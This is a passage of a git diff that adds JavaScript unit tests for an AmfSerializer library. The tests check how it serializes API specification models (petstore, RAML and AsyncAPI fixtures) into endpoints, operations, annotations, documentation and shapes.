+/** @typedef {import('../../src/helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../src/helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../../src/helpers/api').ApiRecursiveShape} ApiRecursiveShape */
+/** @typedef {import('../../src/helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../../src/helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../../src/helpers/api').ApiTupleShape} ApiTupleShape */
+
+describe('AmfSerializer', () => {
+  describe('APIC-483', () => {
+    const fileName = 'APIC-483';
+    const loader = new AmfLoader();
+    
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, fileName);
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('serializes a TupleShape', () => {
+      const expects = loader.lookupExpects(api, '/banks', 'post');
+      const payload = loader._computePayload(expects)[0];
+      const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      const { examples, properties } = result;
+
+      // serializer recognizes that the this example is referenced to a payload and not to a type.
+      assert.lengthOf(examples, 0, 'has the examples');
+      assert.lengthOf(properties, 1, 'has the properties');
+      const array = /** @type ApiTupleShape  */ (properties[0].range);
+      const { types, items } = array;
+      assert.include(types, ns.aml.vocabularies.shapes.TupleShape, 'range has the TupleShape');
+      assert.lengthOf(items, 1, 'range has the items');
+    });
+  });
+});
diff --git a/test/serializer/Anotations.test.js b/test/serializer/Anotations.test.js
new file mode 100644
index 0000000..6768d64
--- /dev/null
+++ b/test/serializer/Anotations.test.js
@@ -0,0 +1,58 @@
+import { assert } from "@open-wc/testing";
+import { AmfLoader } from "../AmfLoader.js";
+import { AmfSerializer } from "../../index.js";
+
+/** @typedef {import('../../src/helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../src/helpers/api').ApiObjectNode} ApiObjectNode */
+
+describe("AmfSerializer", () => {
+  const loader = new AmfLoader();
+
+  describe("Annotations", () => {
+    [true, false].forEach((compact) => {
+      describe(compact ? "Compact model" : "Full model", () => {
+        let api;
+        /** @type AmfSerializer */
+        let serializer;
+        before(async () => {
+          api = await loader.getGraph(compact, 'amf-helper-api');
+          serializer = new AmfSerializer();
+          serializer.amf = api;
+        });
+
+        it("ObjectNode annotations", () => {
+          const shape = loader.lookupOperation(api, "/about", "get");
+          const result = serializer.operation(shape);
+          assert.typeOf(result, "object", "returns an object");
+          const { customDomainProperties } = result;
+          assert.typeOf(customDomainProperties, 'array', 'has the customDomainProperties');
+          assert.lengthOf(customDomainProperties, 1, 'has a single annotation');
+          const [annotation] = customDomainProperties;
+          assert.equal(annotation.name, 'clearanceLevel', 'has the extensionName');
+          assert.typeOf(annotation.extension, 'object', 'has the extension');
+          const { properties } = /** @type ApiObjectNode */ (annotation.extension);
+          assert.typeOf(properties, 'object', 'has properties');
+          const { level, signature } = properties;
+          assert.typeOf(level, 'object', 'has the level property');
+          assert.typeOf(signature, 'object', 'has the level property');
+        });
+
+        it("ScalarShape annotations", () => {
+          const shape = loader.lookupOperation(api, "/files", "post");
+          const result = serializer.operation(shape);
+          assert.typeOf(result, "object", "returns an object");
+          const { customDomainProperties } = result;
+          assert.typeOf(customDomainProperties, 'array', 'has the customDomainProperties');
+          assert.lengthOf(customDomainProperties, 1, 'has a single annotation');
+          const [annotation] = customDomainProperties;
+          assert.equal(annotation.name, 'deprecated', 'has the extensionName');
+          assert.typeOf(annotation.extension, 'object', 'has the extension');
+
+          const { value, dataType, } = /** @type ApiScalarNode */ (annotation.extension);
+          assert.equal(dataType, 'http://www.w3.org/2001/XMLSchema#string', 'has the dataType');
+          assert.equal(value, 'This operation is deprecated and will be removed.', 'has the value');
+        });
+      });
+    });
+  });
+});
diff --git a/test/serializer/Api.test.js b/test/serializer/Api.test.js
new file mode 100644
index 0000000..40225c0
--- /dev/null
+++ b/test/serializer/Api.test.js
@@ -0,0 +1,196 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiBase} ApiBase */
+/** @typedef {import('../../src/helpers/amf').Api} Api */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('Api serialization', () => {
+    /** @type Api */
+    let petstore;
+    /** @type Api */
+    let demoApi;
+    /** @type Api */
+    let asyncApi;
+    /** @type AmfSerializer */
+    let petstoreSerializer;
+    /** @type AmfSerializer */
+    let demoSerializer;
+    /** @type AmfSerializer */
+    let asyncSerializer;
+    before(async () => {
+      const a1 = await loader.getGraph(true, 'petstore');
+      const a2 = await loader.getGraph(true, 'arc-demo-api');
+      const a3 = await loader.getGraph(true, 'async-api');
+      petstoreSerializer = new AmfSerializer(a1);
+      demoSerializer = new AmfSerializer(a2);
+      asyncSerializer = new AmfSerializer(a3);
+      petstore = petstoreSerializer._computeEncodes(a1);
+      demoApi = demoSerializer._computeEncodes(a2);
+      asyncApi = asyncSerializer._computeEncodes(a3);
+    });
+
+    describe('apiSummary()', () => {
+      it('serializes the id', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.typeOf(result.id, 'string', 'has the id');
+        assert.equal(result.id, demoApi['@id'], 'has the web api id');
+      });
+
+      it('serializes the types', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.typeOf(result.types, 'array', 'has the id');
+        assert.equal(result.types.length, demoApi['@type'].length, 'has all types');
+      });
+
+      it('serializes empty customDomainProperties', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.typeOf(result.customDomainProperties, 'array', 'has the customDomainProperties');
+        assert.lengthOf(result.customDomainProperties, 0, 'has no values');
+      });
+
+      it('serializes the sourceMaps', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.typeOf(result.sourceMaps, 'object', 'has the sourceMaps');
+      });
+
+      it('serializes the schemes', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.deepEqual(result.schemes, ['HTTP', 'HTTPS']);
+      });
+
+      it('has default schemes', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        assert.deepEqual(result.schemes, []);
+      });
+
+      it('serializes the accepts', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.deepEqual(result.accepts, ['application/json', 'application/xml']);
+      });
+
+      it('has default accepts', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        assert.deepEqual(result.accepts, []);
+      });
+
+      it('serializes the contentType', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.deepEqual(result.contentType, ['application/json', 'application/xml']);
+      });
+
+      it('has default contentType', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        assert.deepEqual(result.contentType, []);
+      });
+
+      it('serializes the documentations', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        assert.typeOf(result.documentations, 'array', 'has the array');
+        assert.lengthOf(result.documentations, 1, 'has a single documentation');
+      });
+
+      it('serializes the tags', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        assert.typeOf(result.tags, 'array', 'has the tags');
+        assert.lengthOf(result.tags, 3, 'has all tags');
+        const [tag] = result.tags;
+        assert.equal(tag.name, 'pet', 'has the tags definition');
+      });
+
+      it('has default tags', () => {
+        const result = demoSerializer.apiSummary(demoApi);
+        assert.deepEqual(result.tags, []);
+      });
+
+      it('serializes the license', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        const { name, url } = result.license;
+        assert.equal(name, 'Apache 2.0', 'has the license.name');
+        assert.equal(url, 'http://www.apache.org/licenses/LICENSE-2.0.html', 'has the license.url');
+      });
+
+      it('serializes the provider', () => {
+        const result = petstoreSerializer.apiSummary(petstore);
+        const { name, url, email } = result.provider;
+        assert.equal(name, 'Swagger IO', 'has the provider.name');
+        assert.equal(url, 'swagger.io', 'has the provider.url');
+        assert.equal(email, 'apiteam@swagger.io', 'has the provider.email');
+      });
+    });
+
+    describe('api()', () => {
+      it('has the ApiSummary properties', () => {
+        const result = demoSerializer.api(demoApi);
+        assert.typeOf(result.id, 'string', 'has the id');
+        assert.equal(result.id, demoApi['@id'], 'has the web api id');
+        assert.deepEqual(result.schemes, ['HTTP', 'HTTPS']);
+        assert.deepEqual(result.accepts, ['application/json', 'application/xml']);
+      });
+
+      it('has the end points', () => {
+        const result = demoSerializer.api(demoApi);
+        assert.typeOf(result.endPoints, 'array', 'has the endpoints');
+        const [endPoint] = result.endPoints;
+        assert.equal(endPoint.path , '/test-parameters/{feature}', 'has the end point definition');
+      });
+
+      it('has the servers', () => {
+        const result = demoSerializer.api(demoApi);
+        assert.typeOf(result.servers, 'array', 'has the servers');
+        const [server] = result.servers;
+        assert.equal(server.url , 'http://{instance}.domain.com/', 'has the server definition');
+      });
+    });
+
+    describe('webApi()', () => {
+      it('has the ApiSummary properties', () => {
+        const result = demoSerializer.webApi(demoApi);
+        assert.typeOf(result.id, 'string', 'has the id');
+        assert.equal(result.id, demoApi['@id'], 'has the web api id');
+        assert.deepEqual(result.schemes, ['HTTP', 'HTTPS']);
+        assert.deepEqual(result.accepts, ['application/json', 'application/xml']);
+      });
+
+      it('has the end points', () => {
+        const result = demoSerializer.webApi(demoApi);
+        assert.typeOf(result.endPoints, 'array', 'has the endpoints');
+        const [endPoint] = result.endPoints;
+        assert.equal(endPoint.path , '/test-parameters/{feature}', 'has the end point definition');
+      });
+
+      it('has the servers', () => {
+        const result = demoSerializer.webApi(demoApi);
+        assert.typeOf(result.servers, 'array', 'has the servers');
+        const [server] = result.servers;
+        assert.equal(server.url , 'http://{instance}.domain.com/', 'has the server definition');
+      });
+    });
+
+    describe('asyncApi()', () => {
+      it('has the ApiSummary properties', () => {
+        const result = demoSerializer.asyncApi(asyncApi);
+        assert.typeOf(result.id, 'string', 'has the id');
+        assert.equal(result.id, asyncApi['@id'], 'has the web api id');
+        assert.equal(result.name, 'Hello world application');
+      });
+
+      it('has the end points', () => {
+        const result = demoSerializer.asyncApi(asyncApi);
+        assert.typeOf(result.endPoints, 'array', 'has the endpoints');
+        const [endPoint] = result.endPoints;
+        assert.equal(endPoint.path , 'hello', 'has the end point definition');
+      });
+
+      it('has the servers', () => {
+        const result = demoSerializer.asyncApi(asyncApi);
+        assert.typeOf(result.servers, 'array', 'has the servers');
+        const [server] = result.servers;
+        assert.equal(server.url , 'broker.mycompany.com', 'has the server definition');
+      });
+    });
+  });
+});
diff --git a/test/serializer/Documentation.test.js b/test/serializer/Documentation.test.js
new file mode 100644
index 0000000..23b1c42
--- /dev/null
+++ b/test/serializer/Documentation.test.js
@@ -0,0 +1,55 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiObjectNode} ApiObjectNode */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('OAS documentation', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'petstore');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('has the documentation properties', () => {
+      const enc = serializer._computeEncodes(api);
+      const docs = enc[serializer._getAmfKey(serializer.ns.aml.vocabularies.core.documentation)][0];
+      const result = serializer.documentation(docs);
+      assert.typeOf(result, 'object', 'has the result');
+      assert.equal(result.url, 'http://swagger.io', 'has the url');
+      assert.equal(result.description, 'Find out more about Swagger', 'has the description');
+      assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+  });
+
+  describe('RAML documentation', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'amf-helper-api');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('has the documentation properties', () => {
+      const enc = serializer._computeEncodes(api);
+      const docs = enc[serializer._getAmfKey(serializer.ns.aml.vocabularies.core.documentation)][0];
+      const result = serializer.documentation(docs);
+      assert.typeOf(result, 'object', 'has the result');
+      assert.isUndefined(result.url, 'has no url');
+      assert.equal(result.title, 'How to begin', 'has the title');
+      assert.equal(result.description, 'Example content\n', 'has the description');
+      assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+  });
+});
diff --git a/test/serializer/Endpoints.test.js b/test/serializer/Endpoints.test.js
new file mode 100644
index 0000000..51183e9
--- /dev/null
+++ b/test/serializer/Endpoints.test.js
@@ -0,0 +1,162 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer, ns } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('OAS endpoints', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'petstore');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('translates an endpoint', () => {
+      const shape = loader.lookupEndpoint(api, '/pet');
+      const result = serializer.endPoint(shape);
+      assert.typeOf(result, 'object', 'returns an object');
+      assert.include(result.types, serializer.ns.aml.vocabularies.apiContract.EndPoint, 'has the EndPoint type');
+      assert.equal(result.path, '/pet', 'has the path');
+      assert.typeOf(result.operations, 'array', 'has the operations');
+      assert.lengthOf(result.operations, 2, 'has all operations');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('adds the servers property', () => {
+      const shape = loader.lookupEndpoint(api, '/pet');
+      const result = serializer.endPoint(shape);
+      assert.typeOf(result.servers, 'array', 'has the servers');
+      assert.lengthOf(result.servers, 1, 'has a single server');
+      assert.include(result.servers[0].types, serializer.ns.aml.vocabularies.apiContract.Server, 'has the Server type');
+    });
+
+    it('adds the summary & description property', () => {
+      const shape = loader.lookupEndpoint(api, '/user/{username}');
+      const result = serializer.endPoint(shape);
+      assert.equal(result.summary, 'Represents a user', 'has the summary');
+      assert.typeOf(result.description, 'string', 'has description property');
+    });
+  });
+
+  describe('RAML endpoints', () => {
+    /** @type AmfDocument */
+    let demoApi;
+    /** @type AmfDocument */
+    let arcDemoApi;
+    /** @type AmfSerializer */
+    let demoSerializer;
+    /** @type AmfSerializer */
+    let arcDemoSerializer;
+    before(async () => {
+      demoApi = await loader.getGraph(true, 'amf-helper-api');
+      arcDemoApi = await loader.getGraph(true, 'arc-demo-api');
+      demoSerializer = new AmfSerializer(demoApi);
+      arcDemoSerializer = new AmfSerializer(arcDemoApi);
+    });
+
+    it('has annotations', () => {
+      const shape = loader.lookupEndpoint(demoApi, '/annotations');
+      const result = demoSerializer.endPoint(shape);
+      assert.typeOf(result.customDomainProperties, 'array', 'has the array');
+      assert.lengthOf(result.customDomainProperties, 1, 'has the annotation');
+      const [item] = result.customDomainProperties;
+      assert.equal(item.name, 'clearanceLevel', 'has the name');
+      const typed = /** @type ApiObjectNode */ (item.extension);
+      assert.typeOf(typed.properties, 'object', 'has the properties');
+      assert.lengthOf(Object.keys(typed.properties), 2, 'has all properties');
+    });
+
+    it('has parameters', () => {
+      const shape = loader.lookupEndpoint(demoApi, '/{groupId}/{assetId}/{version}');
+      const result = demoSerializer.endPoint(shape);
+      const { parameters } = result;
+      assert.typeOf(parameters, 'array', 'has the array');
+      assert.lengthOf(parameters, 3, 'has the parameters');
+      const [p1, p2, p3] = parameters;
+      assert.include(p1.types, demoSerializer.ns.aml.vocabularies.apiContract.Parameter, 'p1 has the type');
+      assert.include(p2.types, demoSerializer.ns.aml.vocabularies.apiContract.Parameter, 'p2 has the type');
+      assert.include(p3.types, demoSerializer.ns.aml.vocabularies.apiContract.Parameter, 'p3 has the type');
+      assert.equal(p1.name, 'assetId', 'p1 has the name');
+      assert.equal(p2.name, 'groupId', 'p2 has the name');
+      assert.equal(p3.name, 'version', 'p3 has the name');
+      assert.equal(p1.paramName, 'assetId', 'p1 has the paramName');
+      assert.equal(p2.paramName, 'groupId', 'p2 has the paramName');
+      assert.equal(p3.paramName, 'version', 'p3 has the paramName');
+      assert.isTrue(p1.required, 'p1 has the required');
+      assert.isTrue(p2.required, 'p2 has the required');
+      assert.isTrue(p3.required, 'p3 has the required');
+      assert.equal(p1.binding, 'path', 'p1 has the binding');
+      assert.equal(p2.binding, 'path', 'p2 has the binding');
+      assert.equal(p3.binding, 'path', 'p3 has the binding');
+      assert.typeOf(p1.schema, 'object', 'p1 has the schema');
+      assert.typeOf(p2.schema, 'object', 'p2 has the schema');
+      assert.typeOf(p3.schema, 'object', 'p3 has the schema');
+      assert.equal(/** @type ApiScalarShape */(p1.schema).dataType, demoSerializer.ns.w3.xmlSchema.string, 'p1.schema has the dataType');
+      assert.equal(/** @type ApiScalarShape */(p2.schema).dataType, demoSerializer.ns.w3.xmlSchema.string, 'p2.schema has the dataType');
+      assert.equal(/** @type ApiScalarShape */(p3.schema).dataType, demoSerializer.ns.aml.vocabularies.shapes.number, 'p3.schema has the dataType');
+    });
+
+    it('adds resource type definition', () => {
+      const shape = loader.lookupEndpoint(demoApi, '/files/{fileId}');
+      const result = demoSerializer.endPoint(shape);
+      const { operations } = result;
+      const get = operations.find(o => o.method === 'get');
+      const param = get.request.queryParameters.find(p => p.paramName === 'access_token');
+      assert.ok(param);
+    });
+
+    it('adds a resource type extension', () => {
+      const shape = loader.lookupEndpoint(arcDemoApi, '/products');
+      const result = arcDemoSerializer.endPoint(shape);
+      const { extends: extensions } = result;
+      assert.typeOf(extensions, 'array', 'has the extensions array');
+      assert.lengthOf(extensions, 1, 'has a single extension');
+      
+      const [type] = extensions;
+      
+      assert.typeOf(type.id, 'string', 'has the id');
+      assert.typeOf(type.types, 'array', 'has the types');
+      assert.include(type.types, ns.aml.vocabularies.apiContract.ParametrizedResourceType, 'has the type in the types');
+      assert.equal(type.name, 'RequestErrorResponse', 'has the name');
+      assert.typeOf(type.target, 'object', 'has the target definition');
+    });
+
+    it('adds a trait extension', () => {
+      const shape = loader.lookupEndpoint(arcDemoApi, '/orgs/{orgId}');
+      const result = arcDemoSerializer.endPoint(shape);
+      const { extends: extensions } = result;
+      assert.typeOf(extensions, 'array', 'has the extensions array');
+      assert.lengthOf(extensions, 1, 'has a single extension');
+      
+      const [type] = extensions;
+      
+      assert.typeOf(type.id, 'string', 'has the id');
+      assert.typeOf(type.types, 'array', 'has the types');
+      assert.include(type.types, ns.aml.vocabularies.apiContract.ParametrizedTrait, 'has the type in the types');
+      assert.equal(type.name, 'RateLimited', 'has the name');
+      assert.typeOf(type.target, 'object', 'has the target definition');
+    });
+
+    it('adds both a trait and a resource type extensions', () => {
+      const shape = loader.lookupEndpoint(arcDemoApi, '/people');
+      const result = arcDemoSerializer.endPoint(shape);
+      const { extends: extensions } = result;
+      assert.typeOf(extensions, 'array', 'has the extensions array');
+      assert.lengthOf(extensions, 2, 'has both extensions');
+
+      const type = extensions.find(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedResourceType));
+      const trait = extensions.find(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedTrait));
+      
+      assert.ok(type, 'has the resource type');
+      assert.ok(trait, 'has the trait');
+    });
+  });
+});
diff --git a/test/serializer/Operations.test.js b/test/serializer/Operations.test.js
new file mode 100644
index 0000000..ff45313
--- /dev/null
+++ b/test/serializer/Operations.test.js
@@ -0,0 +1,331 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiScalarNode} ApiScalarNode */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('OAS operations', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'petstore');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('returns an operation', () => {
+      const shape = loader.lookupOperation(api, '/pet', 'post');
+      const result = serializer.operation(shape);
+      assert.typeOf(result, 'object', 'has the result');
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.aml.vocabularies.apiContract.Operation, 'has the type');
+      assert.equal(result.method, 'post', 'has the method');
+      assert.equal(result.name, 'addPet', 'has the name');
+      assert.equal(result.description, 'Add a new pet to the store', 'has the description');
+      assert.equal(result.summary, 'Add a new pet to the store', 'has the summary');
+      assert.equal(result.operationId, 'addPet', 'has the operationId');
+      assert.isTrue(result.deprecated, 'is deprecated');
+      assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+      assert.deepEqual(result.callbacks, [], 'has no callbacks');
+      assert.deepEqual(result.accepts, [], 'has no accepts');
+      assert.deepEqual(result.schemes, [], 'has no schemes');
+      assert.deepEqual(result.contentType, [], 'has no contentType');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('adds the responses', () => {
+      const shape = loader.lookupOperation(api, '/pet', 'post');
+      const result = serializer.operation(shape);
+      const { responses } = result;
+      assert.typeOf(responses, 'array', 'has the responses');
+      assert.lengthOf(responses, 2, 'has all responses');
+      const [success] = responses;
+      assert.equal(success.statusCode, '200', 'has response definition')
+    });
+
+    it('adds the request', () => {
+      const shape = loader.lookupOperation(api, '/pet', 'post');
+      const result = serializer.operation(shape);
+      const { request } = result;
+      assert.typeOf(request, 'object', 'has the request');
+      assert.include(request.types, serializer.ns.aml.vocabularies.apiContract.Request, 'has the type');
+      assert.typeOf(request.payloads, 'array', 'has the payloads');
+      assert.isNotEmpty(request.payloads, 'the payloads is set');
+    });
+
+    it('adds the response', () => {
+      const shape = loader.lookupOperation(api, '/pet', 'post');
+      const result = serializer.operation(shape);
+      const { responses } = result;
+      assert.typeOf(responses, 'array', 'has the responses');
+      assert.lengthOf(responses, 2, 'has all responses');
+      const [r] = responses;
+      assert.typeOf(r, 'object', 'response is an object');
+      assert.include(r.types, serializer.ns.aml.vocabularies.apiContract.Response, 'response has the type');
+      assert.typeOf(r.payloads, 'array', 'has the payloads');
+      assert.isNotEmpty(r.payloads, 'the payloads is set');
+      assert.equal(r.name, '200', 'response has the name');
+      assert.equal(r.statusCode, '200', 'response has the statusCode');
+      assert.equal(r.description, 'Successful operation', 'response has the description');
+    });
+
+    it('adds the cookie parameters', () => {
+      const shape = loader.lookupOperation(api, '/pet/{petId}', 'post');
+      const result = serializer.operation(shape);
+      const { request } = result;
+      assert.typeOf(request.cookieParameters, 'array', 'has the payloads');
+      assert.isNotEmpty(request.cookieParameters, 'the payloads is set');
+    });
+
+    it('adds the query parameters', () => {
+      const shape = loader.lookupOperation(api, '/pet/{petId}', 'post');
+      const result = serializer.operation(shape);
+      const { request } = result;
+      assert.typeOf(request.queryParameters, 'array', 'has the payloads');
+      assert.isNotEmpty(request.queryParameters, 'the payloads is set');
+    });
+
+    it('adds the URI parameters', () => {
+      const shape = loader.lookupOperation(api, '/pet/{petId}', 'post');
+      const result = serializer.operation(shape);
+      const { request } = result;
+      assert.typeOf(request.uriParameters, 'array', 'has the payloads');
+      assert.isNotEmpty(request.uriParameters, 'the payloads is set');
+    });
+
+    it('adds the tags', () => {
+      const shape = loader.lookupOperation(api, '/pet', 'post');
+      const result = serializer.operation(shape);
+      const { tags } = result;
+      assert.typeOf(tags, 'array', 'has the tags');
+      assert.lengthOf(tags, 1, 'has a single tag');
+      const [tag] = tags;
+      assert.typeOf(tag, 'object', 'has a tag');
+      assert.equal(tag.name, 'pet', 'tag has name');
+      assert.include(tag.types, serializer.ns.aml.vocabularies.apiContract.Tag, 'tag has Tag type');
+    });
+
+    it('adds the links info', () => {
+      const shape = loader.lookupOperation(api, '/user', 'post');
+      const result = serializer.operation(shape);
+      const { responses } = result;
+      const [response] = responses;
+      const { links } = response;
+      assert.typeOf(links, 'array', 'has the links');
+      assert.isNotEmpty(links, 'the links is set');
+      const [l1, l2] = links;
+      assert.include(l1.types, serializer.ns.aml.vocabularies.apiContract.TemplatedLink, 'l1 has the type');
+      assert.include(l2.types, serializer.ns.aml.vocabularies.apiContract.TemplatedLink, 'l2 has the type');
+      assert.equal(l1.name, 'GetUserByUserName', 'l1 has the name');
+      assert.equal(l2.name, 'GetUserByRef', 'l2 has the name');
+      assert.equal(l1.operationId, 'getUserByName', 'l1 has the name');
+      assert.typeOf(l1.description, 'string', 'l1 has the description');
+      assert.typeOf(l2.description, 'string', 'l2 has the description');
+      assert.typeOf(l1.mapping, 'array', 'l1 has the mapping');
+      assert.typeOf(l2.mapping, 'array', 'l2 has the mapping');
+      const { mapping } = l1;
+      const [mappingItem] = mapping;
+      assert.include(mappingItem.types, serializer.ns.aml.vocabularies.apiContract.IriTemplateMapping, 'mapping has the type');
+      assert.equal(mappingItem.templateVariable, 'username', 'mapping has the templateVariable');
+      assert.equal(mappingItem.linkExpression, '$request.body#/username', 'mapping has the linkExpression');
+    });
+  });
+
+  describe('OAS properties', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'oas-3-api');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('processes callbacks', () => {
+      const shape = loader.lookupOperation(api, '/subscribe', 'post');
+      const result = serializer.operation(shape);
+      const { callbacks } = result;
+      assert.typeOf(callbacks, 'array', 'has callbacks');
+      assert.lengthOf(callbacks, 1, 'has single callback');
+      const [callback] = callbacks;
+      assert.include(callback.types, serializer.ns.aml.vocabularies.apiContract.Callback, 'has the type');
+      assert.deepEqual(callback.customDomainProperties, [], 'has the customDomainProperties');
+      assert.typeOf(callback.sourceMaps, 'object', 'has the sourceMaps');
+      assert.equal(callback.name, 'myEvent', 'has the name');
+      assert.equal(callback.expression, '{$request.body#/callbackUrl}', 'has the expression');
+      assert.typeOf(callback.endpoint, 'object', 'has the endpoint');
+      const { endpoint } = callback;
+      assert.equal(endpoint.path, '/{$request.body#/callbackUrl}', 'endpoint has path');
+      assert.typeOf(endpoint.operations, 'array', 'endpoint has operations');
+      assert.lengthOf(endpoint.operations, 1, 'endpoint has single operation');
+    });
+
+    it('processes OAS properties', () => {
+      const shape = loader.lookupOperation(api, '/oas-properties', 'post');
+      const result = serializer.operation(shape);
+      
+      assert.isTrue(result.deprecated, 'has deprecated');
+      assert.lengthOf(result.servers, 4, 'has servers');
+      assert.equal(result.operationId, 'myId', 'has operationId');
+      assert.typeOf(result.documentation, 'object', 'has documentation');
+      const { documentation } = result;
+      assert.equal(documentation.url, 'https://docs.com', 'has documentation.url');
+      assert.equal(documentation.description, 'A doc', 'has documentation.description');
+      const { request } = result;
+      assert.typeOf(request, 'object', 'has request');
+      assert.isFalse(request.required, 'has request.required');
+      const { tags } = result;
+      assert.lengthOf(tags, 2, 'has tags');
+      const [tag] = tags;
+      assert.typeOf(tag, 'object', 'has a tag');
+      assert.include(tag.types, serializer.ns.aml.vocabularies.apiContract.Tag, 'tag has the type');
+      assert.equal(tag.name, 'pets', 'tag has the name');
+    });
+  });
+
+  describe('RAML operations', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+
+    describe('base tests', () => {
+      before(async () => {
+        api = await loader.getGraph(true, 'amf-helper-api');
+        serializer = new AmfSerializer();
+        serializer.amf = api;
+      });
+  
+      it('returns an operation', () => {
+        const shape = loader.lookupOperation(api, '/files', 'get');
+        const result = serializer.operation(shape);
+        assert.typeOf(result, 'object', 'has the result');
+        assert.equal(result.id, shape['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.apiContract.Operation, 'has the type');
+        assert.equal(result.method, 'get', 'has the method');
+        assert.equal(result.name, 'list', 'has the name');
+        assert.typeOf(result.description, 'string', 'has the description');
+        assert.isFalse(result.deprecated, 'is not deprecated');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.deepEqual(result.callbacks, [], 'has no callbacks');
+        assert.deepEqual(result.responses, [], 'has no responses');
+        assert.deepEqual(result.servers, [], 'has no servers');
+        assert.deepEqual(result.accepts, [], 'has no accepts');
+        assert.deepEqual(result.schemes, [], 'has no schemes');
+        assert.deepEqual(result.contentType, [], 'has no contentType');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+      });
+  
+      it('adds the security info', () => {
+        const shape = loader.lookupOperation(api, '/files', 'get');
+        const result = serializer.operation(shape);
+        const { security } = result;
+        assert.typeOf(security, 'array', 'has the security');
+        assert.lengthOf(security, 1, 'has the defined security');
+        assert.include(security[0].types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the type');
+        assert.typeOf(security[0].schemes, 'array', 'has the schemes');
+        assert.typeOf(security[0].schemes[0], 'object', 'has the security scheme');
+        assert.deepEqual(security[0].customDomainProperties, [], 'has no customDomainProperties');
+      });
+  
+      it('adds the annotations info', () => {
+        const shape = loader.lookupOperation(api, '/files', 'post');
+        const result = serializer.operation(shape);
+        const { customDomainProperties } = result;
+        assert.typeOf(customDomainProperties, 'array', 'has the security');
+        assert.lengthOf(customDomainProperties, 1, 'has the defined security');
+        const [cdp] = customDomainProperties;
+        assert.equal(cdp.name, 'deprecated', 'has the name');
+        const typed = /** @type ApiScalarNode */ (cdp.extension);
+        assert.include(typed.types, serializer.ns.aml.vocabularies.data.Scalar, 'has the type');
